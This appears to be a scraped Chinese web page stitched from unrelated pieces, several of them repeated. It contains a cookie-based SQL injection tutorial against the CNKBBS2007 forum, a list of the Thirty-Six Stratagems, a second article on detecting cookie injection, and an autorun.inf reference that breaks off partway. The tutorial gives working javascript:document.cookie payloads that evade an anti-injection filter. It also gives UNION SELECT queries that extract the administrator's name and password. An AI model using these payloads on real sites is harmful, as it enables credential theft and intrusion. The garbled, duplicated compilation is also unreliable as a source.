大家好,我是初学者,在上一讲中,我们学习了"搜索型注入"的有关知识,今天我们再来学学另一种不常见的注入方法"cookie注入"在讲之前,我们还是来回顾下ASP脚本中Request对象的知识吧,上面几讲中都提到Request对象获取客户端提交数据常用的是GET和POST二种方式,同时 request对象可以不通过集合来获得数据,即直接使用"request("name")"但它的效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合 cookies,它的意思是"读取用户系统发送的所有cookie值,我们从第二讲关于"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.
我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"http://www.cnetking.com/websys2.asp?id=26"发布时间是2007-06-06,打开系统的源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码:
(调用opendb.asp文件)
<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)
if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '设置已读
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3
我们再打开"opendb.asp"文件
<%Option Explicit
Response.Buffer = true%>
(调用fzr.asp文件)
..................
以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件
<%
'--------版权说明------------------
'SQL通用防注入程序
'Aseanleung
'--------定义部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)
'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的语句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!
"
Response.Write "如是要攻击网站,系统记录了你的操作↓
"
Response.Write "操作IP:"&zruserip&"
"
Response.Write "操作时间:"&Now&"
"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"
"
Response.Write "提交方式:GET
"
Response.Write "提交参数:"&Fy_Get&"
"
Response.Write "提交数据:"&Request.QueryString(Fy_Get)
......................
很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)
代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用 Request.cookie方式来提交变量的值,而绕过了SQL防注入程序(总结下:cookie注入产生的条件:系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).
原理讲好了,下面我们来学学coolie注入语句吧
cookies的注入语句:javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));
这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:
1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)
2:"document.cookie"我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是 cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的 cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型
4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie
格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码
上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)
最后我们来测试下,利用步骤:
1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)
2:把浏览器的URL清空,输入"javascript:alert(document.cookie="id="+escape("相应参数id值 and 1=1"));之后会弹出一个框框,
3:再次输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)
3:再输入:javascript:alert(document.cookie="id="+escape("1 and 1=2"));然后再输入:http://127.0.0.1/cnkbbs5.2_ac /user_RxMsg_detail.asp?username=论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)
4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址栏清空,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可经看到显示了数字4和5
5:再次把地址栏清空,输入:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac /user_RxMsg_detail.asp?username=论坛管理员,这样我们就在页面上看到管理员的密码和账号了
还有一篇:啊D写的Cookie注入是怎样产生的 地址:[url=http://www.yesck.com/post/445/][/url]
我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"http://www.cnetking.com/websys2.asp?id=26"发布时间是2007-06-06,打开系统的源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码:
(调用opendb.asp文件)
<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)
if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '设置已读
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3
我们再打开"opendb.asp"文件
<%Option Explicit
Response.Buffer = true%>
(调用fzr.asp文件)
..................
以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件
<%
'--------版权说明------------------
'SQL通用防注入程序
'Aseanleung
'--------定义部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)
'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的语句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!
"
Response.Write "如是要攻击网站,系统记录了你的操作↓
"
Response.Write "操作IP:"&zruserip&"
"
Response.Write "操作时间:"&Now&"
"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"
"
Response.Write "提交方式:GET
"
Response.Write "提交参数:"&Fy_Get&"
"
Response.Write "提交数据:"&Request.QueryString(Fy_Get)
......................
很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)
代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用 Request.cookie方式来提交变量的值,而绕过了SQL防注入程序(总结下:cookie注入产生的条件:系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).
原理讲好了,下面我们来学学coolie注入语句吧
cookies的注入语句:javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));
这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:
1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)
2:"document.cookie"我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是 cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的 cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型
4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie
格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码
上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)
最后我们来测试下,利用步骤:
1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)
2:把浏览器的URL清空,输入"javascript:alert(document.cookie="id="+escape("相应参数id值 and 1=1"));之后会弹出一个框框,
3:再次输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)
3:再输入:javascript:alert(document.cookie="id="+escape("1 and 1=2"));然后再输入:http://127.0.0.1/cnkbbs5.2_ac /user_RxMsg_detail.asp?username=论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)
4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址栏清空,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可经看到显示了数字4和5
5:再次把地址栏清空,输入:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac /user_RxMsg_detail.asp?username=论坛管理员,这样我们就在页面上看到管理员的密码和账号了
还有一篇:啊D写的Cookie注入是怎样产生的 地址:[url=http://www.yesck.com/post/445/][/url]
第一计 瞒天过海
本指光天化日之下不让天知道就过了大海。形容极大的欺骗和谎言,什么样的欺骗手段都使得出来。
第二计 围魏救赵
本指围攻魏国的都城以解救赵国。现借指用包超敌人的后方来迫使它撤兵的战术
第三计 借刀杀人
比喻自己不出面,假借别人的手去害人。
第四计 以逸待劳
指作战时不首先出击,养精蓄锐,以对付从远道来的疲劳的敌人。
第五计 趁火打劫
本指趁人家失火的时候去抢东西。现比喻乘人之危,捞一把。
第六计 声东击西
指表面上声言要攻打东面,其实是攻打西面。军事上使敌人产生错觉的一种战术。
第七计 无中生有
本指本来没有却硬说有。现形容凭空捏造。
第八计 暗度陈仓
后多比喻暗中进行某种活动(多指男女私通达)。补充通过某种骗术欺骗对方相信,用多种假象掩盖真相。
第九计 隔岸观火
隔着河看对岸的火。比喻对别人的危难不予援救而在一旁看热闹。
第十计 笑里藏刀
比喻外表和气而内心阴险。
第十一计李代桃僵
原指桃、李共患难。比喻兄弟相爱相助。后用来指互相顶撞或代人受过。
第十二计 顺手牵羊
顺手就牵了羊。比喻不费劲,乘便得到的。现多指乘机拿走人家东西的偷窃行为。
第十三计 打草惊蛇
打动草惊动了藏在草里的蛇。后用以指做事不周密,行动不谨慎,而使对方有所觉察。
第十四计 借尸还魂
迷信人认为人死后灵魂可附着于别人的尸体而复活。后用以比喻已经死亡或没落的事物,又假托别的名义或以另一种形式重新出现。
第十五计 调虎离山
设法使老虎离开山头。比喻为了便于行事,想法子引诱人离开原来的地方。
第十六计 欲擒故纵
要捉住他,故意先放开他。比喻为了进一步的控制,先故意放松一步。
第十七计 抛砖引玉
以自己的粗浅的意见引出别人高明的见解。这是谦虚的话。
第十八计 擒贼擒王
作战要先擒拿主要敌手。比喻做事要抓关键。
第十九计 釜底抽薪
从锅底抽掉柴火。比喻从根本上解决问题。
第二十计 浑水摸鱼
比喻趁混乱时机攫取不正当的利益。也作“浑水摸鱼”。
第二十一计 金蝉脱壳
蝉变为成虫时要脱去幼早的壳。比喻用计脱身。
第二十二计 关门捉贼
关起门来捉进入屋内的盗贼。
第二十三计 远交近攻
结交离得远的国家而进攻邻近的国家。这是秦国用以并吞六国,统一全国的外交策略。
第二十四计 假道伐虢
以借路为名,实际上要侵占该国(或该路)。虢,诸侯国名。也作“假道灭虢”。
第二十五计 偷梁换柱
比喻暗中玩弄手法,以假代真。
第二十六计 指桑骂槐
指着桑树骂槐树。比喻借题发挥,指着这个骂那个。
第二十七计 假痴不癫
假装痴呆,掩人耳目,另有所图。
第二十八计 上屋抽梯
上楼以后拿掉梯子。借指与人密谈。也用以比喻怂恿人,使人上当。
第二十九计 树上开花
比喻将本求利,别人收获。语出《荡寇志》。
第三十计 反客为主
本是客人却用主人的口气说话。后指在一定的场合下采取主动措施,以声势压倒别人。
第三十一计 美人计
以美女诱人的计策。.
第三十二计 空城计
在敌众我寡的情况下,缺乏兵备而故意示意人以不设兵备,造成敌方错觉,从而惊退敌军之事。后泛指掩饰自己力量空虚、迷惑对方的策略。
第三十三计 反间计
原指使敌人的间谍为我所用,或使敌人获取假情报而有利于我的计策。后指用计谋离间敌人引起内讧。
第三十四计 苦肉计
故意毁伤身体以骗取对方信任,从而进行反间的计谋。
第三十五计 连环计
本为元杂剧名。剧本写汉末董卓专权,王允设计,先许嫁美女貂蝉与吕布,后又献给董卓,以离间二人,致使吕布杀死董卓。后用以指一个接一个相互关联的计策。
第三十六计 走为上策
指战争中看到形势对自己极为不利时就逃走。现多用于做事时如果形势不利没有成功的希望时就选择退却、逃避的态度。
本指光天化日之下不让天知道就过了大海。形容极大的欺骗和谎言,什么样的欺骗手段都使得出来。
第二计 围魏救赵
本指围攻魏国的都城以解救赵国。现借指用包超敌人的后方来迫使它撤兵的战术
第三计 借刀杀人
比喻自己不出面,假借别人的手去害人。
第四计 以逸待劳
指作战时不首先出击,养精蓄锐,以对付从远道来的疲劳的敌人。
第五计 趁火打劫
本指趁人家失火的时候去抢东西。现比喻乘人之危,捞一把。
第六计 声东击西
指表面上声言要攻打东面,其实是攻打西面。军事上使敌人产生错觉的一种战术。
第七计 无中生有
本指本来没有却硬说有。现形容凭空捏造。
第八计 暗度陈仓
后多比喻暗中进行某种活动(多指男女私通达)。补充通过某种骗术欺骗对方相信,用多种假象掩盖真相。
第九计 隔岸观火
隔着河看对岸的火。比喻对别人的危难不予援救而在一旁看热闹。
第十计 笑里藏刀
比喻外表和气而内心阴险。
第十一计李代桃僵
原指桃、李共患难。比喻兄弟相爱相助。后用来指互相顶撞或代人受过。
第十二计 顺手牵羊
顺手就牵了羊。比喻不费劲,乘便得到的。现多指乘机拿走人家东西的偷窃行为。
第十三计 打草惊蛇
打动草惊动了藏在草里的蛇。后用以指做事不周密,行动不谨慎,而使对方有所觉察。
第十四计 借尸还魂
迷信人认为人死后灵魂可附着于别人的尸体而复活。后用以比喻已经死亡或没落的事物,又假托别的名义或以另一种形式重新出现。
第十五计 调虎离山
设法使老虎离开山头。比喻为了便于行事,想法子引诱人离开原来的地方。
第十六计 欲擒故纵
要捉住他,故意先放开他。比喻为了进一步的控制,先故意放松一步。
第十七计 抛砖引玉
以自己的粗浅的意见引出别人高明的见解。这是谦虚的话。
第十八计 擒贼擒王
作战要先擒拿主要敌手。比喻做事要抓关键。
第十九计 釜底抽薪
从锅底抽掉柴火。比喻从根本上解决问题。
第二十计 浑水摸鱼
比喻趁混乱时机攫取不正当的利益。也作“浑水摸鱼”。
第二十一计 金蝉脱壳
蝉变为成虫时要脱去幼早的壳。比喻用计脱身。
第二十二计 关门捉贼
关起门来捉进入屋内的盗贼。
第二十三计 远交近攻
结交离得远的国家而进攻邻近的国家。这是秦国用以并吞六国,统一全国的外交策略。
第二十四计 假道伐虢
以借路为名,实际上要侵占该国(或该路)。虢,诸侯国名。也作“假道灭虢”。
第二十五计 偷梁换柱
比喻暗中玩弄手法,以假代真。
第二十六计 指桑骂槐
指着桑树骂槐树。比喻借题发挥,指着这个骂那个。
第二十七计 假痴不癫
假装痴呆,掩人耳目,另有所图。
第二十八计 上屋抽梯
上楼以后拿掉梯子。借指与人密谈。也用以比喻怂恿人,使人上当。
第二十九计 树上开花
比喻将本求利,别人收获。语出《荡寇志》。
第三十计 反客为主
本是客人却用主人的口气说话。后指在一定的场合下采取主动措施,以声势压倒别人。
第三十一计 美人计
以美女诱人的计策。.
第三十二计 空城计
在敌众我寡的情况下,缺乏兵备而故意示意人以不设兵备,造成敌方错觉,从而惊退敌军之事。后泛指掩饰自己力量空虚、迷惑对方的策略。
第三十三计 反间计
原指使敌人的间谍为我所用,或使敌人获取假情报而有利于我的计策。后指用计谋离间敌人引起内讧。
第三十四计 苦肉计
故意毁伤身体以骗取对方信任,从而进行反间的计谋。
第三十五计 连环计
本为元杂剧名。剧本写汉末董卓专权,王允设计,先许嫁美女貂蝉与吕布,后又献给董卓,以离间二人,致使吕布杀死董卓。后用以指一个接一个相互关联的计策。
第三十六计 走为上策
指战争中看到形势对自己极为不利时就逃走。现多用于做事时如果形势不利没有成功的希望时就选择退却、逃避的态度。
现在很多网站都加了防注入系统代码,你输入注入语句将无法注入~~
感觉这样的防注入系统不错,但防注入系统没有注意到 Cookies 的问题!
所以就有了Cookies注入~~
我们来研究一下怎样情况下才会有Cookies注入!
如果你学过ASP
你应该会知道 Request.QueryString (GET) 或 Request.Form (POST)!
呵,没错,这就是我们用于读取用户发给WEB服务器的指定键中的值!
我们有时为了简化代码,会写成
ID=Request("ID")
这样写法是简单了,但问题就来了~~~
我们先看WEB服务是怎样读取数据的,他是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道~~看来书说的不全~~)
我们再看看防注入系统,他会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)!
就禁止数据的提交! 但他没有检测Cookies的数据!问题就来了~~~
那我们怎样测试是否有Cookies注入问题~
请先看下面的的连接(示例用,所以连接不是真的)
http://www.xxx.com/1.asp?id=123
如果我们只输 http://www.xxx.com/1.asp
时,就不能看到正常的数据,因为没有参数!
我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),
先用IE输入
http://www.xxx.com/1.asp
加载网页,显示不正常(没有输参数的原因)
之后在IE输入框再输入
javascript:alert(document.cookie="id="+escape("123"));
按回车,你会看到弹出一个对话框 内容是: id=123
之后,你刷新一个网页,如果正常显示,表示是用
Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入了
在输入框中输入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
如果不正常显示,这就表示有注入了~~~
如果程序员是用
Request.QueryString
或
Request.Form
收集数据的话,是无法利用Cookies绕过防注入系统进行注入的,因为服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,WEB服务器是不理的,所以就无法利用了!~
--------------------------------------------------------------------------
为了方便不懂的朋友了解
javascript:alert(document.cookie="id="+escape("123"));
的意思,我说明一下
document.cookie="id="+escape("123") 就是把 123 保存到Cookies 的 ID 中
alert(xxx) 就是弹对话框
后话
==========================================================
Cookie注入已不算是什么新技术,但还算是很管用的方法,或者有一天,防注入系统会加入Cookies注入检测!
啊D 2008-03-29
http://www.d99net.net
感觉这样的防注入系统不错,但防注入系统没有注意到 Cookies 的问题!
所以就有了Cookies注入~~
我们来研究一下怎样情况下才会有Cookies注入!
如果你学过ASP
你应该会知道 Request.QueryString (GET) 或 Request.Form (POST)!
呵,没错,这就是我们用于读取用户发给WEB服务器的指定键中的值!
我们有时为了简化代码,会写成
ID=Request("ID")
这样写法是简单了,但问题就来了~~~
我们先看WEB服务是怎样读取数据的,他是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道~~看来书说的不全~~)
我们再看看防注入系统,他会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)!
就禁止数据的提交! 但他没有检测Cookies的数据!问题就来了~~~
那我们怎样测试是否有Cookies注入问题~
请先看下面的的连接(示例用,所以连接不是真的)
http://www.xxx.com/1.asp?id=123
如果我们只输 http://www.xxx.com/1.asp
时,就不能看到正常的数据,因为没有参数!
我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),
先用IE输入
http://www.xxx.com/1.asp
加载网页,显示不正常(没有输参数的原因)
之后在IE输入框再输入
javascript:alert(document.cookie="id="+escape("123"));
按回车,你会看到弹出一个对话框 内容是: id=123
之后,你刷新一个网页,如果正常显示,表示是用
Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入了
在输入框中输入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
如果不正常显示,这就表示有注入了~~~
如果程序员是用
Request.QueryString
或
Request.Form
收集数据的话,是无法利用Cookies绕过防注入系统进行注入的,因为服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,WEB服务器是不理的,所以就无法利用了!~
--------------------------------------------------------------------------
为了方便不懂的朋友了解
javascript:alert(document.cookie="id="+escape("123"));
的意思,我说明一下
document.cookie="id="+escape("123") 就是把 123 保存到Cookies 的 ID 中
alert(xxx) 就是弹对话框
后话
==========================================================
Cookie注入已不算是什么新技术,但还算是很管用的方法,或者有一天,防注入系统会加入Cookies注入检测!
啊D 2008-03-29
http://www.d99net.net
笔者按:鉴于现在网上完全介绍autorun.inf功能的文章不多,笔者在网上的一个犄角旮旯找到了一篇autorun.inf的英文使用说明,在笔者的亲自试验下写出此篇文章。
一、autorun.inf是windows下操纵光盘行为的一个文件,需要放在光盘根目录下,部分操作对于硬盘也适用。
二、autorun.inf是可以被禁止的。方法如下:
点击开始->运行,在文本框中输入regedit或者regedt32。依次展开HKEY_CURRENT_USER\Software \Microsoft\Windows\CurrentVersion\Policies\Exploer,其中的NoDriveTypeAutoRun 子键限制着Autorun的作用范围,默认为95(16进制)。
把禁用的设备标志相加设置为键值就可以完成设置,其中设备标志如下:
1:无法识别的设备(建议禁止,默认禁止)
2:没有根目录的设备(Drive without root directory未知含义,建议禁止,默认不禁止)
4:可移动的设备(U盘,建议禁止,很多病毒利用U盘的Autorun.inf进行传染,默认禁止)
8:固定的设备(硬盘,自己看着办,默认不禁止)
16:网络设备(web驱动器,建议禁止,默认禁止)
32:光盘驱动设备(CDROM,默认不禁止)
64:虚拟存储设备(RAM,建议禁止,默认不禁止)
128:未指定的其他驱动器(保留位,建议禁止,默认禁止)
三、autorun.inf文件分为三大部分[AutoRun] [AutoRun.Alpha] [DeviceInstall]。
[AutoRun]适用于Windows95以上系统与32位以上CD-ROM,必选。
[AutoRun.alpha]适用于基于RISC的计算机光驱,适用系统为Windows NT 4.0,可选。
[DeviceInstall]适用于Windows XP以上系统,可选。
四、[AutoRun]部分的命令及其详解。
1、DefaultIcon
含义:
指定应用程序的默认图标。
格式:
DefalutIcon=图标路径名[,序号]
参数:
图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。
序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。
备注:
应用程序的默认图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。
图标路径名的默认目录是设备根目录。
2、Icon
含义:
指定设备显示图标。
格式:
Icon=图标路径名[,序号]
参数:
图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。
序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。
备注:
设备显示图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。
图标路径名的默认目录是设备根目录。
当存在应用程序默认图标(DefaultIcon)时,本命令无效。
3、Label
含义:
指定设备描述
格式:
Label=描述
参数:
描述:任意文字,可以包括空格。
备注:
设备描述将在windows explorer核心的驱动显示窗口中替代设备的默认描述\卷标来显示。
在非windows explorer核心的驱动显示窗口中(例如右击设备选择属性)显示的仍然是设备的卷标。
4、Open
含义:
指定设备启用时运行之命令行。
格式:
Open=命令行
(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开或使用ShellExecute命令。
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。
5、ShellExecute
含义:
指定设备启用时执行文件。(操作系统支持未知)
格式:
ShellExecute=执行文件路径名 [参数]
参数:
执行文件路径名:设备启用时执行文件路径名。可以是任意格式文件。系统会调用设置的程序执行此文件。
参数:参数,根据执行文件作调整
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。
6、Shell\关键字\Command
含义:
定义设备右键菜单执行命令行。
格式:
Shell\关键字\Command=命令行
(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开。
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。
7、Shell\关键字
含义:
定义设备右键菜单文本。
格式:
Shell\关键字=文本
参数:
关键字:用以标记菜单,可以使用任何字符表示,包括空格。
文本:在右键菜单中显示的文本。可以使用任何字符,不能存在空格。
备注:
在同一Autorun.inf文件中,不同右键菜单关键字不同,相同右键菜单关键字相同。
右键菜单文本中可以使用&设定加速键,&&输出一个&。
Shell\关键字\Command命令Shell\关键字两者缺一不可,顺序无所谓。
当不存在Open、ShellExecute与Shell命令时,设备启用时运行第一个设备右键菜单指定命令。
8、Shell
含义:
定义设备启用时运行之设备右键命令。
格式:
Shell=关键字
参数:
关键字:标记过的菜单关键字
备注:
Shell指定的关键字可以在AutoRun.inf文件的任意部分。
Open\ShellExecute\Shell命令后定义的优先级高。
四、[AutoRun.alpha]部分的命令简介。
[AutoRun.alpha]部分的命令与[AutoRun]部分的命令相同,只不过在基于RISC的计算机光驱中,[AutoRun.alpha]优先级高于[AutoRun]
五、[DeviceInstall]部分命令及其详解。
DriverPath
含义:
定义搜索驱动程序目录。
格式:
DriverPath=驱动程序路径
参数:
驱动程序路径:驱动程序所在路径,包括其子路径。
备注:
Windows XP以上支持。
仅CD-ROM支持
当系统监测到一个新的设备时,会提示用户寻找设备的驱动程序。当用户点选此CD-ROM时,当[DeviceInstall]部分存在时,系统会按照 DriverPath所标记的路径出寻找驱动程序。未标记的路径系统将忽略查找。当[DeviceInstall]部分不存在时,系统将进行完全查找。
如果不希望系统在此CD-ROM中搜索驱动程序,只加一行[DeviceInstall]不加DriverPath命令即可。
一、autorun.inf是windows下操纵光盘行为的一个文件,需要放在光盘根目录下,部分操作对于硬盘也适用。
二、autorun.inf是可以被禁止的。方法如下:
点击开始->运行,在文本框中输入regedit或者regedt32。依次展开HKEY_CURRENT_USER\Software \Microsoft\Windows\CurrentVersion\Policies\Exploer,其中的NoDriveTypeAutoRun 子键限制着Autorun的作用范围,默认为95(16进制)。
把禁用的设备标志相加设置为键值就可以完成设置,其中设备标志如下:
1:无法识别的设备(建议禁止,默认禁止)
2:没有根目录的设备(Drive without root directory未知含义,建议禁止,默认不禁止)
4:可移动的设备(U盘,建议禁止,很多病毒利用U盘的Autorun.inf进行传染,默认禁止)
8:固定的设备(硬盘,自己看着办,默认不禁止)
